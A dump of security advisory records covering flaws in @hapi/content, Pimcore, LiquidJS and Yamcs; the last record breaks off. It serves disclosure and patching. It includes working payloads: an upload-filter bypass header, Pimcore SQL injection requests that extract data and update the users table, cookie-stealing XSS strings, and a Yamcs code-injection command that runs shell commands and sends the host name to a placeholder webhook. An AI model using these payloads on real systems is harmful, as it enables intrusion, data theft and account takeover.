[{'name': 'Exposure of Sensitive Information to an Unauthorized Actor', 'cwe_id': 'CWE-200'}, {'name': 'Insufficiently Protected Credentials', 'cwe_id': 'CWE-522'}]

87f5e4ab2db86876e725b628dc6876bf553f715a1550c3686bf3209ddcb99d80

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-36hh-x5p5-jgc8

CVE-2026-44974

@hapi/content header parser has a parameter smuggling issue that allows upload-filter bypass via duplicate parameters

### Impact The two parsers resolved duplicates inconsistently and silently: - `Content.disposition()` retained the last occurrence of each parameter. - `Content.type()` retained the first occurrence of charset and boundary. Either behavior creates a parameter-smuggling primitive when another component in the request-processing chain (a WAF, reverse proxy, security filter, or alternate parser) resolves duplicates the opposite way. The primary attack vector is upload filename allowlist bypass: `Content-Disposition: form-data; name="file"; filename="safe.txt"; filename="shell.php"` ### Patches The issue has been patched in 6.0.2. ### Workarounds Pre or post validate headers looking for duplicates. ### Resources - [RFC 6266 §4.1 — Content-Disposition syntax](https://www.rfc-editor.org/rfc/rfc6266#section-4.1) - [RFC 7231 §3.1.1.1 — Content-Type syntax](https://www.rfc-editor.org/rfc/rfc7231#section-3.1.1.1) - [RFC 7230 §3.2.6 — token character set](https://www.rfc-editor.org/rfc/rfc7230#section-3.2.6)

high

2026-05-27 03:37:20+03:00

2026-05-27 03:37:20+03:00

['https://github.com/hapijs/content/security/advisories/GHSA-36hh-x5p5-jgc8', 'https://github.com/hapijs/content/commit/3850079550c191d25e3643dc82a6d61144db8c2f', 'https://github.com/advisories/GHSA-36hh-x5p5-jgc8']

[{'package': {'name': '@hapi/content', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': '6.0.2', 'vulnerable_version_range': '< 6.0.2'}]

{'score': None, 'vector_string': None}

[{'name': 'Interpretation Conflict', 'cwe_id': 'CWE-436'}]

67c7cd8b03db73575a5739b2f000c044761e3383c261697d1762b7557ae88bdc

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-h4ph-crvj-9h92

CVE-2026-44741

Pimcore Admin Classic Bundle Vulnerable to SQL Injection in Translation Grid Date Filter via Unsanitized Property Parameter

# GM-369 ## Summary SQL injection in Pimcore's translation grid date filter — the user-supplied `property` field from the filter JSON is interpolated directly into a `UNIX_TIMESTAMP(DATE(FROM_UNIXTIME(...)))` SQL expression without parameterization or allowlist validation. ## Affected Component - **Package:** `pimcore/admin-ui-classic-bundle` - **File:** `src/Controller/Admin/TranslationController.php` - **Lines:** 565 (input), 569 (inadequate sanitization), 593 (injection point) - **Endpoint:** `POST /admin/translation/translations` ## Description The translation grid endpoint processes JSON filter parameters. When a filter has `type: "date"`, the `property` field is extracted and used to construct a SQL expression: ```php $fieldname = $filter[$propertyField]; // Line 565 — user input $fieldname = str_replace('--', '', $fieldname); // Line 569 — trivially bypassable $fieldname = $tableName . '.' . $fieldname; // Line 577 $fieldname = "UNIX_TIMESTAMP(DATE(FROM_UNIXTIME({$fieldname})))"; // Line 593 — injection ``` The `str_replace('--', '')` sanitization is trivially bypassable (use `/**/` comments or `----`). In non-language mode, `$fieldname` is concatenated directly into the SQL condition without quoting or parameterization. ## Impact Authenticated user with translations view permission can extract arbitrary database data via UNION-based or error-based SQL injection. Combined with GM-249 (unsafe unserialize), this enables an SQLi → deserialization → RCE chain. ## Proof of Concept ``` POST /admin/translation/translations filter=[{"property":"1))) UNION SELECT password FROM users WHERE ((1","type":"date","operator":"eq","value":"2026-01-01"}] ``` ## Suggested Fix Validate `$fieldname` against an allowlist of valid column names before SQL interpolation: ```php $allowedDateColumns = ['creationDate', 'modificationDate']; if (!in_array($fieldname, $allowedDateColumns, true)) { continue; } ``` ## References - CWE-89: SQL Injection - Related: CVE-2026-27461 (RLIKE injection in Dependency/Dao.php — different code path) --- ## Suggested Fix In `TranslationController.php`: (1) Add allowlist check for non-language fieldnames before processing. (2) Replace raw string interpolation `UNIX_TIMESTAMP(DATE(FROM_UNIXTIME({$fieldname})))` with `$db->quoteIdentifier($fieldname)` to prevent SQL injection in date filter expressions. ```diff --- a/src/Controller/Admin/TranslationController.php +++ b/src/Controller/Admin/TranslationController.php @@ -569,7 +569,15 @@ class TranslationController extends AdminAbstractController $fieldname = str_replace('--', '', $fieldname); if (!$languageMode && in_array($fieldname, $validLanguages) || $languageMode && !in_array($fieldname, $validLanguages)) { continue; } + // Allowlist non-language fieldnames to prevent SQL injection + $allowedNonLanguageFields = ['key', 'type', 'creationDate', 'modificationDate']; + if (!$languageMode && !in_array($fieldname, $allowedNonLanguageFields) && !in_array($fieldname, $validLanguages)) { + continue; + } + if (!$languageMode) { $fieldname = $tableName . '.' . $fieldname; } @@ -582,7 +590,7 @@ class TranslationController extends AdminAbstractController } elseif ($filter[$operatorField] == 'eq') { $operator = '='; - $fieldname = "UNIX_TIMESTAMP(DATE(FROM_UNIXTIME({$fieldname})))"; + // Use validated fieldname only — never interpolate raw user input into SQL functions + $fieldname = sprintf('UNIX_TIMESTAMP(DATE(FROM_UNIXTIME(%s)))', $db->quoteIdentifier($fieldname)); } ``` --- ## Proposed Fix ```diff --- a/src/Controller/Admin/TranslationController.php +++ b/src/Controller/Admin/TranslationController.php @@ -569,7 +569,15 @@ class TranslationController extends AdminAbstractController $fieldname = str_replace('--', '', $fieldname); if (!$languageMode && in_array($fieldname, $validLanguages) || $languageMode && !in_array($fieldname, $validLanguages)) { continue; } + // Allowlist non-language fieldnames to prevent SQL injection + $allowedNonLanguageFields = ['key', 'type', 'creationDate', 'modificationDate']; + if (!$languageMode && !in_array($fieldname, $allowedNonLanguageFields) && !in_array($fieldname, $validLanguages)) { + continue; + } + if (!$languageMode) { $fieldname = $tableName . '.' . $fieldname; } @@ -582,7 +590,7 @@ class TranslationController extends AdminAbstractController } elseif ($filter[$operatorField] == 'eq') { $operator = '='; - $fieldname = "UNIX_TIMESTAMP(DATE(FROM_UNIXTIME({$fieldname})))"; + // Use validated fieldname only — never interpolate raw user input into SQL functions + $fieldname = sprintf('UNIX_TIMESTAMP(DATE(FROM_UNIXTIME(%s)))', $db->quoteIdentifier($fieldname)); } ``` Happy to submit this as a PR against a private fork if that is the preferred workflow.

high

2026-05-27 03:35:56+03:00

2026-05-27 03:36:25+03:00

['https://github.com/pimcore/pimcore/security/advisories/GHSA-h4ph-crvj-9h92', 'https://github.com/pimcore/admin-ui-classic-bundle/pull/1111', 'https://github.com/pimcore/admin-ui-classic-bundle/commit/80e57a23d9e19574eddfe9b08e8f26785b2b0d90', 'https://github.com/pimcore/admin-ui-classic-bundle/releases/tag/v2.3.6', 'https://github.com/advisories/GHSA-h4ph-crvj-9h92']

[{'package': {'name': 'pimcore/admin-ui-classic-bundle', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '2.3.6', 'vulnerable_version_range': '<= 2.3.5'}]

{'score': 8.8, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'}

[{'name': "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", 'cwe_id': 'CWE-89'}]

566a1cda28feeba96430f74ebd8ebe162c60b06261bdd96a5b51a5361c11c2fa

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-3234-gxc3-pq6f

CVE-2026-44739

Pimcore Vulnerable to SQL Injection in Custom Reports Column Configuration

### Summary The columnConfigAction endpoint in the CustomReportsBundle is vulnerable to SQL injection. An attacker with the reports_config permission can supply a malicious SQL configuration that is concatenated into a query and executed. Although the application attempts to filter certain DDL/DML keywords (like UPDATE, DELETE, DROP), it fails to prevent arbitrary SELECT queries, UNION statements, or the use of dangerous database functions. Furthermore, because the application returns database error messages in the JSON response, an attacker can easily exfiltrate data using error-based SQL injection techniques. ### Affected scope bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php CustomReportController:columnConfigAction -> SqlAdapter::getColumns -> SqlAdapter::buildQueryString -> Db::fetchAssociative() ### Details * The columnConfigAction endpoint in ``` bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php:197 ``` receives a configuration JSON string from the request body. * The configuration is decoded and the first element is extracted in ```bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php:207-208.``` * The Sql adapter is instantiated based on the user-controlled type field in ```bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php:216.``` * The controller calls getColumnsWithMetadata in ```bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php:217```, which in turn calls getColumns in ```bundles/CustomReportsBundle/src/Tool/Adapter/AbstractAdapter.php:47```. * The Sql::getColumns method in``` bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:60``` calls buildQueryString at ```bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:64.``` * buildQueryString in ```bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:81``` concatenates various fields from the user-provided * configuration (like sql, from, where) directly into the SQL query string (lines 89, 100, 107). * The constructed SQL string is checked against a weak regex in ```bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:67```, which can be bypassed using comments __(e.g. UPDATE/**/)__ or by using permitted SELECT statements to exfiltrate data from unauthorized tables. * The query is executed without parameterization using ```$db->fetchAssociative($sql)``` in ```bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:70.``` * Any resulting database exception is caught in the controller and the error message is returned in the JSON response at ```bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php:234```, enabling error-based exfiltration. ### PoC * Download and install the version Pimcore <=12.3.3 (latest) * Login using Admin account or any account that has reports_config permission * Navigate to custom reports * Capture the request using burp suite and perform SQLi attack as the following 1. Get Database username ``` POST /admin/bundle/customreports/custom-report/column-config HTTP/1.1 Host: localhost Content-Length: 310 sec-ch-ua-platform: "Linux" Accept-Language: en-US,en;q=0.9 sec-ch-ua: "Not_A Brand";v="99", "Chromium";v="142" sec-ch-ua-mobile: ?0 X-pimcore-extjs-version-minor: 0 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 X-pimcore-csrf-token: 2e42012c8310823bbdbce1598bdecfd19cb5e9c4 X-pimcore-extjs-version-major: 7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: */* Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/admin/ Accept-Encoding: gzip, deflate, br Cookie: pimcore_admin_auth_profile_token=9f990b; PHPSESSID=d101f6fce4d87b8bdbbe800f9f50c82a; _pc_vis=3a17250fba52c657; _pc_ses=1774896807012; _pc_tss=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NzQ4OTc1MTQuNjEwNzE3LCJwdGciOnsiX20iOjEsIl9jIjoxNzc0ODk2ODA1LCJfdSI6MTc3NDg5NzUxNCwidmk6c3J1IjpbN119LCJleHAiOjE3NzQ4OTkzMTR9.uO4iHiABylQ2KyZC0p8Li9hpgWfHnNQ01GUkbeY1Wmc; _pc_tvs=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NzQ4OTc1MTQuNjExNTA4LCJwdGciOnsiY21mOnNnIjp7Ijg2MCI6Mn0sIl9jIjoxNzc0ODc2MzQyLCJfdSI6MTc3NDg5NjgwNX0sImV4cCI6MTgwNjQzMzUxNH0.mhq_2qwWzWWGruI0VNnAwgs8QzfZfbc6Za0uGn7zNYM Connection: keep-alive configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20user())%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes ``` 2. Get Database name ``` configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(select%2bcurrent_setting(%24%24is_superuser%24%24))%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes ``` 3. Get Tables names __Note__: Update the limit parameter to iterate around the tables queries like limit 0,1 limit 1,1 , limit 2,1 ..etc ``` configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%22(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_schema%3ddatabase()%20LIMIT%200%2c1)%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes ``` 4. Bypass the implemented Regex and perform SQL updat eto for exmaple update the admin username ``` configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%22*%22%2c%22from%22%3a%22users%22%2c%22where%22%3a%22id%3d1)%2f**%2fOR%2f**%2f1%3d1%3b%2f**%2fUPDATE%2f**%2fusers%2f**%2fSET%2f**%2fname%3d'admin'%2f**%2fWHERE%2f**%2fname%3d'admin2'%3b--%20-%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes ``` ### Impact By exploiting this vulneability any user with custom-report access could manipuate and crawl the database information and also bypass the application filters to Update,insert or delete database tables, which impact on the application confidentiality ,intergrity and service availability

high

2026-05-27 03:35:01+03:00

2026-05-27 03:35:05+03:00

['https://github.com/pimcore/pimcore/security/advisories/GHSA-3234-gxc3-pq6f', 'https://github.com/pimcore/pimcore/pull/19098', 'https://github.com/pimcore/pimcore/commit/3fd7733464f464e58ffa49ed91550c1a3f9535f2', 'https://github.com/pimcore/pimcore/releases/tag/v12.3.6', 'https://github.com/advisories/GHSA-3234-gxc3-pq6f']

[{'package': {'name': 'pimcore/pimcore', 'ecosystem': 'composer'}, 'vulnerable_functions': [], 'first_patched_version': '12.3.6', 'vulnerable_version_range': '<= 12.3.5'}]

{'score': 8.7, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N'}

[{'name': "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", 'cwe_id': 'CWE-89'}]

b566503bf027c08d30f8f3f7a8ef47bc7ac300ef46bd808106dafb6b571c1714

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-9x9p-qf8f-mvjg

CVE-2026-44646

LiquidJS's `{% render %}` tag silently bypasses per-render `ownPropertyOnly:true` via `Context.spawn()`

## Summary `Context.spawn()` in liquidjs creates a child `Context` for the `{% render %}` tag but does not propagate the parent context's resolved `ownPropertyOnly` value. The new context re-derives `ownPropertyOnly` from `opts.ownPropertyOnly` (the instance-level option), silently discarding any `RenderOptions.ownPropertyOnly` override that was supplied to `parseAndRender()`. As a result, a developer who runs a Liquid instance with the backwards-compatible `ownPropertyOnly:false` and then locks down an untrusted render with `parseAndRender(..., { ownPropertyOnly: true })` still leaks prototype-chain properties from inside any `{% render %}` partial. This is a distinct exploit surface from the previously identified array-filter variants (`where`, `reject`, `group_by`, `find`, `find_index`, `has`) — the underlying root cause in `Context.spawn()` is shared, but `{% render %}` is a separately reachable sink that needs no filter usage. ## Details The bug is in `Context.spawn()`: ```ts // src/context/context.ts:105-114 public spawn (scope = {}) { return new Context(scope, this.opts, { sync: this.sync, globals: this.globals, strictVariables: this.strictVariables // <-- ownPropertyOnly is missing here }, { renderLimit: this.renderLimit, memoryLimit: this.memoryLimit }) } ``` The constructor resolves `ownPropertyOnly` as: ```ts // src/context/context.ts:47 this.ownPropertyOnly = renderOptions.ownPropertyOnly ?? opts.ownPropertyOnly ``` Because `spawn()` passes a `RenderOptions` object with no `ownPropertyOnly`, the child context falls back to `opts.ownPropertyOnly` (the instance-level option), throwing away any per-render override that the parent context had applied. `this.opts` is the raw normalized instance options object; it is not mutated to reflect render-time overrides. The `{% render %}` tag at `src/tags/render.ts:51-77` calls `spawn()` to build the partial's isolated scope: ```ts * render (ctx: Context, emitter: Emitter): Generator<unknown, void, unknown> { const { liquid, hash } = this const filepath = (yield renderFilePath(this['file'], ctx, liquid)) as string assert(filepath, () => `illegal file path "${filepath}"`) const childCtx = ctx.spawn() // <-- ownPropertyOnly lost here const scope = childCtx.bottom() __assign(scope, yield hash.render(ctx)) ... const templates = (yield liquid._parsePartialFile(filepath, childCtx.sync, this['currentFile'])) as Template[] yield liquid.renderer.renderTemplates(templates, childCtx, emitter) } ``` All template variable lookups inside the partial then go through `childCtx.readProperty()` (`src/context/context.ts:123-135`), which calls `readJSProperty(obj, key, this.ownPropertyOnly)`. With `childCtx.ownPropertyOnly === false` (inherited from `opts`), the protective check at `src/context/context.ts:138-141` is skipped and prototype-chain properties are returned to the template: ```ts export function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) { if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined return obj[key] } ``` The `{% include %}` tag is **not** affected: it does not call `spawn()`; it pushes onto the parent context's scope stack (`src/tags/include.ts:40`), so the parent's resolved `ownPropertyOnly` continues to apply. Trust model / why this matters: `RenderOptions.ownPropertyOnly` is documented (`src/liquid-options.ts:108-111`) as "Same as `ownPropertyOnly` on LiquidOptions, but only for current `render()` call". It exists precisely so that developers running a non-strict instance can lock down individual untrusted renders. That contract is broken — the override is silently dropped at every partial boundary. ## PoC ```bash mkdir -p /tmp/render-poc printf '{{ user.passwordHash }}' > /tmp/render-poc/_user.liquid node -e " const { Liquid } = require('./dist/liquid.node.js'); const liquid = new Liquid({ ownPropertyOnly: false, root: '/tmp/render-poc' }); class User { constructor(n){ this.name = n; } } User.prototype.passwordHash = 'bcrypt\$secret'; const u = new User('alice'); liquid.parseAndRender( 'Direct:[{{ user.passwordHash }}] Render:[{% render \"_user.liquid\", user: user %}]', { user: u }, { ownPropertyOnly: true } ).then(console.log); " ``` Verified output on liquidjs 10.25.7: ``` Direct:[] Render:[bcrypt$secret] ``` The top-level expression `{{ user.passwordHash }}` is correctly blocked by the per-render `ownPropertyOnly:true`, but the same expression inside the partial loaded by `{% render %}` returns the prototype-chain property — proof that `Context.spawn()` discarded the override. ## Impact - **Information disclosure**: Any prototype-chain property of objects passed into a `{% render %}` partial — including secrets, hashes, internal state, framework-injected helpers — becomes readable from inside the partial template, even when the developer used the documented per-render lockdown. - **Realistic threat model**: Applications that maintain `ownPropertyOnly:false` for backwards compatibility (or because their data layer relies on prototype methods) and lock down untrusted-template renders with `parseAndRender(..., { ownPropertyOnly:true })` are protected at the top level but silently exposed inside any partial. User-controllable template content (CMS snippets, theme partials, email templates) that uses `{% render %}` becomes an info-leak primitive. - **Distinct from existing CVE-2022-25948**: the prior advisory only covered direct use of `ownPropertyOnly:false`; this is a failure of the documented mitigation (`ownPropertyOnly:true` per-render override), not a missing setting. - **Distinct from the array-filter variant**: same `spawn()` root cause, but exploitable without invoking `where/reject/group_by/find/find_index/has` — only requires that the template uses `{% render %}` (a basic templating feature) and that one of the rendered values has prototype-chain properties. ## Recommended Fix Propagate `ownPropertyOnly` (and any other security-relevant render options) inside `Context.spawn()`: ```ts // src/context/context.ts public spawn (scope = {}) { return new Context(scope, this.opts, { sync: this.sync, globals: this.globals, strictVariables: this.strictVariables, ownPropertyOnly: this.ownPropertyOnly // <-- propagate resolved per-render value }, { renderLimit: this.renderLimit, memoryLimit: this.memoryLimit }) } ``` Passing `this.ownPropertyOnly` (the resolved value, not `this.opts.ownPropertyOnly`) ensures any `RenderOptions.ownPropertyOnly` override flows into spawned child contexts. This single change closes both the `{% render %}` pathway documented here and the array-filter pathway tracked separately. A regression test should assert that a partial rendered via `{% render %}` honours `parseAndRender(..., { ownPropertyOnly: true })` against an object with prototype-chain properties.

medium

2026-05-27 03:28:06+03:00

2026-05-27 03:28:08+03:00

['https://github.com/harttle/liquidjs/security/advisories/GHSA-9x9p-qf8f-mvjg', 'https://github.com/advisories/GHSA-9x9p-qf8f-mvjg']

[{'package': {'name': 'liquidjs', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': None, 'vulnerable_version_range': '<= 10.25.7'}]

{'score': 5.3, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N'}

[{'name': 'Protection Mechanism Failure', 'cwe_id': 'CWE-693'}]

7867445c140ef4f7364a9e5c5f94b9c82baf415bf5545abd99e1e5679931338b

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-2qv6-9wx5-cwv4

CVE-2026-44644

LiquidJS's strip_html filter bypass via newline characters in HTML tags enables XSS

## Summary The `strip_html` filter in liquidjs is intended to remove HTML tags from a string before rendering, and is widely used as an XSS sanitizer. The implementation uses a regex whose catch-all branch (`<.*?>`) does not match line terminators, so any HTML tag containing a `\n` or `\r` character passes through unmodified. An attacker who can place a newline inside a tag (e.g. `<img\nsrc=x\nonerror=alert(1)>`) bypasses sanitization entirely, since browsers treat newlines as whitespace within a tag and execute the resulting `onerror`/`onload`/etc. handler. This results in stored or reflected XSS in any application that relies on `strip_html` to neutralize untrusted HTML. ## Details The vulnerable code is in `src/filters/html.ts`: ```ts // src/filters/html.ts:45-49 export function strip_html (this: FilterImpl, v: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) return str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<.*?>|<!--[\s\S]*?-->/g, '') } ``` The regex has four alternations: 1. `<script[\s\S]*?<\/script>` — uses `[\s\S]`, matches across newlines. 2. `<style[\s\S]*?<\/style>` — uses `[\s\S]`, matches across newlines. 3. `<.*?>` — uses `.`, which in JavaScript does **not** match `\n` or `\r` (no `s`/dotAll flag set). 4. `<!--[\s\S]*?-->` — uses `[\s\S]`, matches across newlines. Branch 3 is the catch-all for "any other tag." Because `.` excludes line terminators, a tag containing a newline does not match any alternative. The literal characters of the tag are passed through to the output. Browsers, however, parse HTML tag content with whitespace tolerance: per the HTML spec, attribute names and values may be separated by ASCII whitespace, which includes `\n` and `\r`. So `<img\nsrc=x\nonerror=alert(1)>` is parsed as a valid `img` element with an `onerror` handler. `liquidjs`' default rendering pipeline does not auto-escape filter output (the `outputEscape` engine option is undefined by default — see `src/liquid-options.ts`), so the unescaped HTML is delivered verbatim to the consumer's HTML response. Trust path: - Application receives untrusted input (e.g. user comment field). - Developer renders it as `{{ comment | strip_html }}` to "safely" embed user content as plaintext. - Attacker submits `<img\u000Asrc=x\u000Aonerror=alert(document.cookie)>`. - `strip_html` returns the input unchanged. - Output is written into the HTML response with no further escaping. - Victim's browser executes the attacker's JavaScript in the application's origin. This is an inconsistency bug: the same regex correctly uses `[\s\S]` for `<script>`, `<style>`, and comment branches, but reverts to `.` for the catch-all. The other branches' authors clearly knew to handle multi-line content; the catch-all was missed. ## PoC Reproduces against current HEAD (10.25.7) using the published `dist/liquid.node.js` build: ```bash node -e " const { Liquid } = require('./dist/liquid.node.js'); const engine = new Liquid(); engine.parseAndRender( 'Safe output: {{ input | strip_html }}', { input: '<img\nsrc=x\nonerror=\"alert(document.cookie)\">' } ).then(r => console.log(JSON.stringify(r))); " ``` Verified output: ``` "Safe output: <img\nsrc=x\nonerror=\"alert(document.cookie)\">" ``` The `<img ... onerror=...>` tag is delivered to the output completely unmodified. When this string is placed into an HTML document and parsed by a browser, the `onerror` handler executes. Same bypass works with `\r` (carriage return), `\r\n`, or any combination of CR/LF inside the tag. It also works with other event-handler vectors (`<svg\nonload=alert(1)>`, `<body\nonload=alert(1)>`, `<iframe\nsrc="javascript:alert(1)">`, etc.) and is not specific to `<img>`. For comparison, the same input without a newline is correctly stripped: ```bash node -e " const { Liquid } = require('./dist/liquid.node.js'); const engine = new Liquid(); engine.parseAndRender( 'Safe output: {{ input | strip_html }}', { input: '<img src=x onerror=\"alert(1)\">' } ).then(r => console.log(JSON.stringify(r))); " # → "Safe output: " ``` This confirms `strip_html` is intended to remove tags of this shape, and the newline form is a sanitizer bypass rather than expected behavior. ## Impact Any liquidjs-using application that: 1. Renders attacker-controlled strings via `{{ x | strip_html }}` to defend against HTML injection, AND 2. Does not separately HTML-escape that output (default behavior — `outputEscape` is unset by default), Is vulnerable to stored or reflected XSS. The attacker can execute arbitrary JavaScript in the victim's browser in the application's origin, enabling session theft, account takeover, CSRF with origin-scoped credentials, and arbitrary actions in the victim's authenticated session. The XSS is triggered with simple, well-known event-handler payloads — no exotic encoding, no character set tricks, just a literal newline inside the tag. The blast radius matches the deployment of liquidjs as a server-side template engine: liquidjs is one of the most popular Liquid implementations on npm (millions of downloads/week) and `strip_html` is documented as the sanitization filter for HTML stripping, so the vulnerable pattern (`{{ user | strip_html }}`) is the natural and recommended use of the filter. ## Recommended Fix Replace `<.*?>` with `<[\s\S]*?>` (or apply the `s`/dotAll flag to the entire regex) so the catch-all branch matches across line terminators, consistent with the other branches: ```ts // src/filters/html.ts export function strip_html (this: FilterImpl, v: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) return str.replace(/<script[\s\S]*?<\/script>|<style[\s\S]*?<\/style>|<[\s\S]*?>|<!--[\s\S]*?-->/g, '') } ``` Equivalent fix using the dotAll flag (requires ES2018+, which liquidjs already targets): ```ts return str.replace(/<script.*?<\/script>|<style.*?<\/style>|<.*?>|<!--.*?-->/gs, '') ``` After the fix, the PoC input is correctly reduced to an empty string. Note that `strip_html` should still not be relied on as a primary XSS defense — the project README/documentation should recommend HTML-escaping (`escape` filter) for untrusted content rendered into HTML contexts. A brief security note in the filter's documentation would help users who currently treat `strip_html` as a sanitizer.

medium

2026-05-27 03:09:12+03:00

2026-05-27 03:09:13+03:00

['https://github.com/harttle/liquidjs/security/advisories/GHSA-2qv6-9wx5-cwv4', 'https://github.com/advisories/GHSA-2qv6-9wx5-cwv4']

[{'package': {'name': 'liquidjs', 'ecosystem': 'npm'}, 'vulnerable_functions': [], 'first_patched_version': None, 'vulnerable_version_range': '<= 10.25.7'}]

{'score': 6.1, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N'}

[{'name': "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", 'cwe_id': 'CWE-79'}]

531810880317a8a352f4ae6bf511f16ae2663c6ac97bf660505529c4632862ae

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-524g-x36v-9wm6

CVE-2026-44632

Yamcs Vulnerable to Server-Side Code Injection (RCE) via Janino Expression Engine in `JavaExprAlgorithmExecutionFactory`

### Summary A Server-Side Code Injection vulnerability exists in the Yamcs algorithm evaluation engine (`org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory`). The application dynamically compiles and evaluates user-controlled algorithm text without enforcing a secure sandbox. An authenticated user with the `ChangeMissionDatabase` privilege can exploit this to achieve Remote Code Execution (RCE) on the underlying host operating system via the Janino compiler. ### Proof of Concept (PoC) The vulnerability can be exploited by overriding an existing algorithm's text via the REST API and injecting a malicious Java payload that executes OS commands. **Prerequisites:** 1. A running Yamcs instance with an active processor (e.g., `instance=myproject`, `processor=realtime`). 2. An active authentication token for a user with the `SystemPrivilege.ChangeMissionDatabase` privilege. **Steps to Reproduce:** 1. Send an authenticated HTTP `PATCH` request to the MDB override endpoint to inject the malicious Java code into an existing algorithm (e.g., `copySunsensor`). The payload uses `java.lang.Runtime` to execute a reverse shell or ping an external webhook. ```bash curl -i -X PATCH \ 'http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/copySunsensor' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \ -d '{ "action": "SET", "algorithm": { "text": "try { java.lang.Runtime.getRuntime().exec(new String[]{\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/$(hostname)_$(whoami)\"}); } catch (Exception e) {} out0.setFloatValue(1.0f);" } }' ``` 2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the `simulator.py` script to generate sun sensor data). 3. The Yamcs server uses the Janino `SimpleCompiler` to compile the injected text into a Java class on the fly. Since no restrictive `ClassLoader` is applied, the payload is successfully compiled and executed. 4. Verify that the command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL. ### Impact This vulnerability allows a user with application-level configuration privileges to escalate their access to full System/OS control. This leads to arbitrary command execution, potential data exfiltration, and lateral movement within the network hosting the Yamcs server. ### Credits Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.

critical

2026-05-27 03:05:45+03:00

2026-05-27 03:05:45+03:00

['https://github.com/yamcs/yamcs/security/advisories/GHSA-524g-x36v-9wm6', 'https://github.com/advisories/GHSA-524g-x36v-9wm6']

[{'package': {'name': 'org.yamcs:yamcs-core', 'ecosystem': 'maven'}, 'vulnerable_functions': [], 'first_patched_version': '5.12.7', 'vulnerable_version_range': '< 5.12.7'}]

{'score': 9.1, 'vector_string': 'CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H'}

[{'name': "Improper Control of Generation of Code ('Code Injection')", 'cwe_id': 'CWE-94'}]

3ae28abcb15a7a22f6dee9e9acf67682e4fc72f1c8d8468ff93628da94dda948

2026-05-28 21:31:05.264657+03:00

2026-05-28 21:31:05.264657+03:00

GHSA-w5r6-mcgq-7pq4

CVE-2026-44596

